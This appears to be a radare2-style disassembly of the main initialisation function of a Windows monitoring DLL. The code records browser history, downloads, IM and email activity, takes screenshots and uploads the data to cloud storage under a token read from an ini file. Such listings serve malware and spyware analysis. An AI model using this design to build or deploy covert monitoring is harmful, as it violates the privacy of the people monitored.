Function at 0x10037930
Capabilities:
Create thread
Get session user name
Read .ini file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x1158
call fcn.1010b0c0
mov eax, dword [0x10152034]
xor eax, esp
mov dword [esp + 0x1154], eax
push esi
push edi
push 0x10125c9c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov edi, eax
mov dword [esp + 0x24], edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
test edi, edi
je 0x10038863
cmp eax, 0xb7
je 0x10038863
push 3
call dword [sym.imp.libcurl.dll_curl_global_init]
add esp, 4
lea ecx, [esp + 0x98]
push 0x10125d80
call fcn.10007fa0
xor eax, eax
push 0x7fe
push eax
mov word [esp + 0x960], ax
lea eax, [esp + 0x962]
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
mov dword [esp + 0x94], 0x400
lea eax, [esp + 0x94]
push eax
lea eax, [esp + 0x95c]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
sub esp, 0x18
mov ecx, esp
push 0x10125d74
call fcn.10002200
lea eax, [esp + 0x140]
push eax
call fcn.100c00f0
add esp, 4
mov ecx, esp
push str.dataDB
call fcn.10002200
lea eax, [esp + 0x158]
push eax
call fcn.100c00f0
add esp, 4
mov ecx, esp
push str.Log
call fcn.10002200
lea eax, [esp + 0xf8]
push eax
call fcn.100c00f0
add esp, 4
mov ecx, esp
push 0x10125de4
call fcn.10002200
lea eax, [esp + 0xe0]
push eax
call fcn.100c00f0
add esp, 0x1c
call fcn.1001f520
mov ecx, eax
mov edx, dword [eax]
call dword [edx]
call fcn.100369e0
mov ecx, eax
mov edx, dword [eax]
call dword [edx]
call fcn.10025520
mov ecx, eax
mov edx, dword [eax]
call dword [edx]
call fcn.10027fa0
mov ecx, eax
mov edx, dword [eax]
call dword [edx]
call fcn.10036a60
mov ecx, eax
mov edx, dword [eax]
call dword [edx]
call fcn.10036ae0
mov ecx, eax
mov edx, dword [eax]
call dword [edx]
call fcn.10036b60
mov ecx, eax
mov edx, dword [eax]
call dword [edx]
call fcn.10036be0
mov ecx, eax
mov edx, dword [eax]
call dword [edx]
call fcn.10036c60
mov ecx, eax
mov edx, dword [eax]
call dword [edx]
call fcn.10036ce0
mov ecx, eax
mov edx, dword [eax]
call dword [edx]
call fcn.10024200
mov ecx, eax
mov edx, dword [eax]
call dword [edx]
call fcn.1002e880
mov ecx, eax
mov edx, dword [eax]
call dword [edx]
call fcn.10036d60
mov ecx, eax
mov edx, dword [eax]
call dword [edx]
call fcn.1002fcd0
mov ecx, eax
mov edx, dword [eax]
call dword [edx]
call fcn.10036e60
mov ecx, eax
mov edx, dword [eax]
call dword [edx]
call fcn.100130c0
mov ecx, eax
mov edx, dword [eax]
call dword [edx]
call fcn.1002ada0
mov ecx, eax
mov edx, dword [eax]
call dword [edx]
sub esp, 0x18
xor eax, eax
mov ecx, esp
push 0xffffffffffffffff
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
push eax
mov word [ecx], ax
lea eax, [esp + 0x100]
push eax
call fcn.10001d60
call fcn.100c0490
mov ecx, esp
xor eax, eax
push 0xffffffffffffffff
push eax
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
mov word [ecx], ax
lea eax, [esp + 0x148]
push eax
call fcn.10001d60
call fcn.100c0490
mov ecx, esp
xor eax, eax
push 0xffffffffffffffff
push eax
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
mov word [ecx], ax
lea eax, [esp + 0x160]
push eax
call fcn.10001d60
call fcn.100c0490
mov ecx, esp
xor eax, eax
push 0xffffffffffffffff
push eax
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
mov word [ecx], ax
lea eax, [esp + 0xe8]
push eax
call fcn.10001d60
call fcn.100c0490
mov eax, dword [0x10157f64]
add esp, 0x18
test al, 1
jne 0x10037bda
or eax, 1
mov dword [0x10157f64], eax
call fcn.10015cb0
push 0x10116320
call fcn.1010a16b
add esp, 4
sub esp, 0x18
mov ecx, esp
push str.configure.dat
call fcn.10002200
call fcn.10018d90
mov ecx, eax
call fcn.100cf550
sub esp, 0x18
push esp
call fcn.100c0710
add esp, 4
lea ecx, [esp + 0x68]
call fcn.10040a50
lea eax, [esp + 0xc8]
push eax
call fcn.100c0690
add esp, 0x1c
push 0
call dword [sym.imp.MSVCR120.dll__time64]
add esp, 4
lea ecx, [esp + 0x110]
mov edx, eax
call fcn.1001cb40
sub esp, 0x18
lea eax, [esp + 0x68]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.100081b0
sub esp, 0x18
mov ecx, esp
push str.EdgeRecord
call fcn.10007fa0
call fcn.10037160
add esp, 0x18
lea eax, [esp + 0x68]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.100081b0
sub esp, 0x18
mov ecx, esp
push str.ChromeRecord
call fcn.10007fa0
call fcn.10037160
add esp, 0x18
lea eax, [esp + 0x68]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.100081b0
sub esp, 0x18
mov ecx, esp
push str.IERecord
call fcn.10007fa0
call fcn.10037160
add esp, 0x18
lea eax, [esp + 0x68]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.100081b0
sub esp, 0x18
mov ecx, esp
push str.OperaRecord
call fcn.10007fa0
call fcn.10037160
add esp, 0x18
lea eax, [esp + 0x68]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.100081b0
sub esp, 0x18
mov ecx, esp
push str.FirefoxRecord
call fcn.10007fa0
call fcn.10037160
add esp, 0x18
lea eax, [esp + 0x128]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.100081b0
sub esp, 0x18
mov ecx, esp
push str.UserOperate
call fcn.10007fa0
call fcn.10037160
add esp, 0x18
lea eax, [esp + 0x68]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.100081b0
sub esp, 0x18
mov ecx, esp
push str.IEDownload
call fcn.10007fa0
call fcn.10037160
add esp, 0x18
lea eax, [esp + 0x68]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.100081b0
sub esp, 0x18
mov ecx, esp
push str.EdgeDownload
call fcn.10007fa0
call fcn.10037160
add esp, 0x18
lea eax, [esp + 0x68]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.100081b0
sub esp, 0x18
mov ecx, esp
push str.ChromeDownload
call fcn.10007fa0
call fcn.10037160
add esp, 0x18
mov ecx, esp
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push 0xffffffffffffffff
push 0
lea eax, [esp + 0x70]
mov byte [ecx], 0
push eax
call fcn.100081b0
sub esp, 0x18
mov ecx, esp
push str.OperaDownload
call fcn.10007fa0
call fcn.10037160
add esp, 0x18
lea eax, [esp + 0x68]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.100081b0
sub esp, 0x18
mov ecx, esp
push str.FirefoxDownload
call fcn.10007fa0
call fcn.10037160
add esp, 0x18
lea eax, [esp + 0xc8]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.100081b0
sub esp, 0x18
mov ecx, esp
push str.ImRecord
call fcn.10007fa0
call fcn.10037160
add esp, 0x18
lea eax, [esp + 0xc8]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.100081b0
sub esp, 0x18
mov ecx, esp
push str.EmailRecord
call fcn.10007fa0
call fcn.10037160
add esp, 0x18
lea eax, [esp + 0x68]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.100081b0
sub esp, 0x18
mov ecx, esp
push str.CHandleChromeRecordEvent
call fcn.10007fa0
call fcn.10018d90
mov ecx, eax
call fcn.100cf660
sub esp, 0x18
lea eax, [esp + 0x68]
mov ecx, esp
push 0xffffffffffffffff
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
mov byte [ecx], 0
push 0
push eax
call fcn.100081b0
sub esp, 0x18
mov ecx, esp
push str.CHandleEdgeRecordEvent
call fcn.10007fa0
call fcn.10018d90
mov ecx, eax
call fcn.100cf660
sub esp, 0x18
lea eax, [esp + 0x68]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.100081b0
sub esp, 0x18
mov ecx, esp
push str.CHandleOperaRecordEvent
call fcn.10007fa0
call fcn.10018d90
mov ecx, eax
call fcn.100cf660
sub esp, 0x18
lea eax, [esp + 0x68]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.100081b0
sub esp, 0x18
mov ecx, esp
push str.CHandleFirefoxRecordEvent
call fcn.10007fa0
call fcn.10018d90
mov ecx, eax
call fcn.100cf660
mov eax, 0x10028150
test eax, eax
jne 0x1003801f
mov dword [esp + 0x18], eax
jmp 0x10038037
lea eax, [esp + 8]
mov dword [esp + 8], 0x1013940c
mov dword [esp + 0xc], 0x10028150
mov dword [esp + 0x18], eax
lea eax, [esp + 8]
push eax
call fcn.10036ee0
mov ecx, eax
call fcn.100daa90
mov ecx, dword [esp + 0x18]
test ecx, ecx
je 0x10038062
mov edx, dword [ecx]
lea eax, [esp + 8]
cmp ecx, eax
setne al
movzx eax, al
push eax
call dword [edx + 0x10]
push 0x27db
call fcn.10036ee0
mov ecx, eax
call fcn.100e5580
call fcn.100141d0
call fcn.10014270
mov eax, dword [0x10157b6c]
test al, 1
jne 0x1003809b
or eax, 1
push 0x101169d0
mov dword [0x10157b6c], eax
call fcn.1010a16b
add esp, 4
lea eax, [esp + 0x48]
push eax
push 0
push 0
push 0x10039750
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.1003fe70
mov ecx, eax
call fcn.100403f0
call fcn.10033160
mov ecx, eax
call fcn.10033c20
call fcn.1003fe70
mov dword [eax], 0x10033f40
mov dword [eax + 4], 0
call fcn.10038ce0
mov ecx, eax
mov edx, dword [eax]
call dword [edx]
call fcn.1003dd30
call fcn.1003dda0
mov eax, dword [0x10157ed8]
test al, 1
jne 0x10038110
or eax, 1
push 0x10116270
mov dword [0x10157ed8], eax
call fcn.1010a16b
add esp, 4
call fcn.10013140
call fcn.10035c10
mov ecx, eax
call fcn.10036550
sub esp, 0x18
mov ecx, esp
push 0x10125f44
call fcn.10007fa0
call dword [sym.imp.NetCommHelper.dll_public:_static_class_CNetManager____cdecl_CNetManager::GetInstance_void_]
mov ecx, eax
call dword [sym.imp.NetCommHelper.dll_public:_void___thiscall_CNetManager::SetHost_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___]
sub esp, 0x18
mov ecx, esp
push str.cgmultibrand_datas_monivisor
call fcn.10007fa0
call dword [sym.imp.NetCommHelper.dll_public:_static_class_CNetManager____cdecl_CNetManager::GetInstance_void_]
mov ecx, eax
call dword [sym.imp.NetCommHelper.dll_public:_void___thiscall_CNetManager::SetBucketName_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___]
sub esp, 0x18
mov ecx, esp
push str.https:__oss_us_west_1.aliyuncs.com
call fcn.10007fa0
call dword [sym.imp.NetCommHelper.dll_public:_static_class_CNetManager____cdecl_CNetManager::GetInstance_void_]
mov ecx, eax
call dword [sym.imp.NetCommHelper.dll_public:_void___thiscall_CNetManager::SetEndpoint_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___]
push 0x3ff
lea eax, [esp + 0x15d]
mov byte [esp + 0x15c], 0
push 0
push eax
call sub.MSVCR120.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [esp + 0xa4]
add esp, 0xc
cmp dword [esp + 0xac], 0x10
cmovae eax, dword [esp + 0x98]
push eax
push 0x400
lea eax, [esp + 0x160]
push eax
push 0
push 0x10125fa4
push 0x10125fb0
call esi
push 0x3ff
lea eax, [esp + 0x55d]
mov byte [esp + 0x55c], 0
push 0
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
lea eax, [esp + 0x98]
cmp dword [esp + 0xac], 0x10
cmovae eax, dword [esp + 0x98]
push eax
push 0x400
lea eax, [esp + 0x560]
push eax
push 0
push str.token
push 0x10125fc0
call esi
lea eax, [esp + 0x558]
push eax
lea eax, [esp + 0x15c]
push eax
push str.deviceId:__s__token:__s
push 1
push 0xea
push 0x10125fe0
push 0x10126008
call fcn.100ff930
add esp, 4
lea eax, [esp + 0x170]
mov ecx, esp
push eax
call fcn.10007fa0
call dword [sym.imp.NetCommHelper.dll_public:_static_class_CNetManager____cdecl_CNetManager::GetInstance_void_]
mov ecx, eax
call dword [sym.imp.NetCommHelper.dll_public:_void___thiscall_CNetManager::SetDeviceId_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___]
sub esp, 0x18
lea eax, [esp + 0x570]
mov ecx, esp
push eax
call fcn.10007fa0
call dword [sym.imp.NetCommHelper.dll_public:_static_class_CNetManager____cdecl_CNetManager::GetInstance_void_]
mov ecx, eax
call dword [sym.imp.NetCommHelper.dll_public:_void___thiscall_CNetManager::SetToken_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___]
lea eax, [esp + 0x4c]
mov dword [esp + 0x4c], 0
push eax
call dword [sym.imp.NetCommHelper.dll_public:_static_class_CNetManager____cdecl_CNetManager::GetInstance_void_]
mov ecx, eax
call dword [sym.imp.NetCommHelper.dll_public:_bool___thiscall_CNetManager::GetUserConfig_int__]
push dword [esp + 0x4c]
call fcn.10018d90
mov ecx, eax
call fcn.100d0c40
sub esp, 0x18
mov dword [esp + 0x9c], 0xf
mov ecx, esp
mov dword [esp + 0x98], 0
mov byte [esp + 0x88], 0
push str.type1
call fcn.10007fa0
lea eax, [esp + 0x88]
push eax
call dword [sym.imp.NetCommHelper.dll_public:_static_class_CNetManager____cdecl_CNetManager::GetInstance_void_]
mov esi, dword [sym.imp.NetCommHelper.dll_public:_bool___thiscall_CNetManager::GetScreenConfig_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___]
mov ecx, eax
call esi
cmp dword [esp + 0x80], 0
je 0x10038349
sub esp, 0x18
lea eax, [esp + 0x88]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.100081b0
sub esp, 0x18
mov ecx, esp
push 0x10126020
call fcn.10007fa0
call fcn.10018d90
mov ecx, eax
call fcn.100cf660
sub esp, 0x18
mov ecx, esp
push str.type2
call fcn.10007fa0
lea eax, [esp + 0x88]
push eax
call dword [sym.imp.NetCommHelper.dll_public:_static_class_CNetManager____cdecl_CNetManager::GetInstance_void_]
mov ecx, eax
call esi
cmp dword [esp + 0x80], 0
je 0x100383b6
sub esp, 0x18
lea eax, [esp + 0x88]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.100081b0
sub esp, 0x18
mov ecx, esp
push 0x10126040
call fcn.10007fa0
call fcn.10018d90
mov ecx, eax
call fcn.100cf660
lea eax, [esp + 0x68]
xorps xmm0, xmm0
push eax
movlpd qword [esp + 0x6c], xmm0
call dword [sym.imp.NetCommHelper.dll_public:_static_class_CNetManager____cdecl_CNetManager::GetInstance_void_]
mov ecx, eax
call dword [sym.imp.NetCommHelper.dll_public:_bool___thiscall_CNetManager::GetStorageDetail_long_long___int64___]
push dword [esp + 0x6c]
push dword [esp + 0x6c]
call fcn.10018d90
mov ecx, eax
call fcn.100d0c90
movdqu xmm0, xmmword [esp + 0x70]
sub esp, 0x18
mov eax, esp
push dword [esp + 0x84]
movdqu xmmword [eax], xmm0
push dword [esp + 0x84]
movq xmm0, qword [esp + 0xa0]
push dword [esp + 0x6c]
movq qword [eax + 0x10], xmm0
push str.shot_max_limit:__d_remainStorage:_lld_rule:_s
push 1
push 0xff
push 0x10126088
push 0x101260b0
call fcn.100ff930
add esp, 0x38
call fcn.10036fe0
mov esi, eax
call fcn.10036fe0
mov ecx, dword [0x10158174]
mov dword [esp + 0x28], eax
test cl, 1
jne 0x1003846e
or ecx, 1
mov dword [0x10158178], 0x10139320
push 0x101169c0
mov dword [0x10158174], ecx
call fcn.1010a16b
add esp, 4
call fcn.10036fe0
mov dword [esp + 0x48], eax
lea eax, [esp + 8]
push eax
mov dword [esp + 0xc], vtable.._AV___Func_impl_U___Callable_obj_V___Bind__00_NU___Pmf_wrap_P8CHandleScreenshotEvent__AE_NXZ_NV1____V_std__PAVCHandleScreenshotEvent___std___0A__std__V__allocator_V___Func_class__N___V_std___2__N___V_std__.0
mov dword [esp + 0x10], 0x10017876
mov dword [esp + 0x14], esi
mov dword [esp + 0x1c], eax
call fcn.10036f60
mov ecx, eax
call fcn.100e98e0
mov ecx, dword [esp + 0x18]
test ecx, ecx
je 0x100384ba
mov edx, dword [ecx]
lea eax, [esp + 8]
cmp ecx, eax
setne al
movzx eax, al
push eax
call dword [edx + 0x10]
mov eax, dword [esp + 0x28]
mov dword [esp + 0x10], eax
lea eax, [esp + 8]
push eax
mov dword [esp + 0xc], vtable.._AV___Func_impl_U___Callable_obj_V___Bind__00XU___Pmf_wrap_P8CHandleScreenshotEvent__AEXXZXV1____V_std__PAVCHandleScreenshotEvent___std___0A__std__V__allocator_V___Func_class_X___V_std___2_X___V_std__.0
mov dword [esp + 0x10], 0x1002f120
mov dword [esp + 0x1c], eax
call fcn.10036f60
mov ecx, eax
call fcn.100e9910
lea ecx, [esp + 8]
call fcn.10014730
lea eax, [esp + 8]
mov dword [esp + 8], vtable.._AV___Func_impl_U___Callable_obj_V___Bind__00_NU___Pmf_wrap_P8CHandleUninstallEvent__AE_NXZ_NV1____V_std__PAVCHandleUninstallEvent___std___0A__std__V__allocator_V___Func_class__N___V_std___2__N___V_std__.0
push eax
mov dword [esp + 0x10], 0x10017876
mov dword [esp + 0x14], 0x10158178
mov dword [esp + 0x1c], eax
call fcn.10036f60
mov ecx, eax
call fcn.100e9940
lea ecx, [esp + 8]
call fcn.10014730
mov eax, dword [esp + 0x48]
mov dword [esp + 0x10], eax
lea eax, [esp + 8]
push eax
mov dword [esp + 0xc], vtable.._AV___Func_impl_U___Callable_obj_V___Bind__00_NU___Pmf_wrap_P8CHandleScreenshotEvent__AE_NXZ_NV1____V_std__PAVCHandleScreenshotEvent___std___0A__std__V__allocator_V___Func_class__N___V_std___2__N___V_std__.0
mov dword [esp + 0x10], 0x1002f0c0
mov dword [esp + 0x1c], eax
call fcn.10036f60
mov ecx, eax
call fcn.100e9970
lea ecx, [esp + 8]
call fcn.10014730
lea eax, [esp + 0x158]
push eax
lea eax, [esp + 0xfc]
push str.__userIdpc__s
push eax
call fcn.10040530
add esp, 0xc
push 0x2529
call fcn.10036f60
mov ecx, eax
call fcn.100e98c0
sub esp, 0x18
mov ecx, esp
push str.mbws.monimaster.com
call fcn.10007fa0
call fcn.10036f60
mov ecx, eax
call fcn.100e9540
sub esp, 0x18
lea eax, [esp + 0x110]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.100081b0
call fcn.10036f60
mov ecx, eax
call fcn.100e9860
call fcn.10036f60
mov ecx, eax
call fcn.100e9080
call dword [sym.imp.NetCommHelper.dll_public:_static_class_CNetManager____cdecl_CNetManager::GetInstance_void_]
mov ecx, eax
call dword [sym.imp.NetCommHelper.dll_public:_void___thiscall_CNetManager::Run_void_]
call fcn.100161e0
mov ecx, eax
call fcn.10016300
call dword [sym.imp.NetCommHelper.dll_public:_static_class_CNetManager____cdecl_CNetManager::GetInstance_void_]
mov ecx, eax
call dword [sym.imp.NetCommHelper.dll_public:_void___thiscall_CNetManager::RefreshUserToken_void_]
sub esp, 0x18
lea eax, [esp + 0x170]
mov ecx, esp
push eax
call fcn.10007fa0
call dword [sym.imp.NetCommHelper.dll_public:_static_class_CNetManager____cdecl_CNetManager::GetInstance_void_]
mov ecx, eax
call dword [sym.imp.NetCommHelper.dll_public:_void___thiscall_CNetManager::StartHeartbeat_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___]
push str.Dll_init_success_
push 1
push 0x11e
push str..._srcMoniterHelperMonitorMain.cpp
push 0x10126120
call fcn.100ff930
add esp, 0x14
call fcn.10037050
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
lea eax, [esp + 0x2c]
push 0
push 0
push 0
push eax
call esi
test eax, eax
je 0x100386ac
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
lea esp, [esp]
lea eax, [esp + 0x2c]
push eax
push 0
push dword [esp + 0x34]
call dword [sym.imp.USER32.dll_TranslateAcceleratorW]
test eax, eax
jne 0x10038697
lea eax, [esp + 0x2c]
push eax
call edi
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push 0
push 0
push 0
lea eax, [esp + 0x38]
push eax
call esi
test eax, eax
jne 0x10038670
mov edi, dword [esp + 0x24]
call dword [sym.imp.libcurl.dll_curl_global_cleanup]
push edi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 0x10c], 0x10
mov esi, dword [sym.imp.MSVCR120.dll_void___cdecl_operator_delete_void__]
jb 0x100386dc
push dword [esp + 0xf8]
call esi
add esp, 4
cmp dword [esp + 0x84], 0x10
mov dword [esp + 0x10c], 0xf
mov dword [esp + 0x108], 0
mov byte [esp + 0xf8], 0
jb 0x1003870d
push dword [esp + 0x70]
call esi
add esp, 4
cmp dword [esp + 0x124], 0x10
mov dword [esp + 0x84], 0xf
mov dword [esp + 0x80], 0
mov byte [esp + 0x70], 0
jb 0x1003873e
push dword [esp + 0x110]
call esi
add esp, 4
cmp dword [esp + 0xc4], 0x10
mov dword [esp + 0x124], 0xf
mov dword [esp + 0x120], 0
mov byte [esp + 0x110], 0
jb 0x10038772
push dword [esp + 0xb0]
call esi
add esp, 4
cmp dword [esp + 0x64], 0x10
mov dword [esp + 0xc4], 0xf
mov dword [esp + 0xc0], 0
mov byte [esp + 0xb0], 0
jb 0x100387a0
push dword [esp + 0x50]
call esi
add esp, 4
cmp dword [esp + 0xdc], 8
mov dword [esp + 0x64], 0xf
mov dword [esp + 0x60], 0
mov byte [esp + 0x50], 0
jb 0x100387cb
push dword [esp + 0xc8]
call esi
add esp, 4
xor eax, eax
mov dword [esp + 0xdc], 7
cmp dword [esp + 0xf4], 8
mov dword [esp + 0xd8], 0
mov word [esp + 0xc8], ax
jb 0x10038801
push dword [esp + 0xe0]
call esi
add esp, 4
xor eax, eax
mov dword [esp + 0xf4], 7
lea ecx, [esp + 0x140]
mov dword [esp + 0xf0], 0
mov word [esp + 0xe0], ax
call fcn.10002300
lea ecx, [esp + 0x128]
call fcn.10002300
cmp dword [esp + 0xac], 0x10
jb 0x10038883
push dword [esp + 0x98]
call esi
add esp, 4
pop edi
pop esi
mov ecx, dword [esp + 0x1154]
xor ecx, esp
call fcn.1010a06b
mov esp, ebp
pop ebp
ret
push str.MONITER_MUTEX_x32
push str.already_exist___s_
push 1
push 0x71
push 0x10125d28
push 0x10125d0c
call fcn.100ffcc0
add esp, 0x18
mov ecx, dword [esp + 0x115c]
pop edi
pop esi
xor ecx, esp
call fcn.1010a06b
mov esp, ebp
pop ebp
ret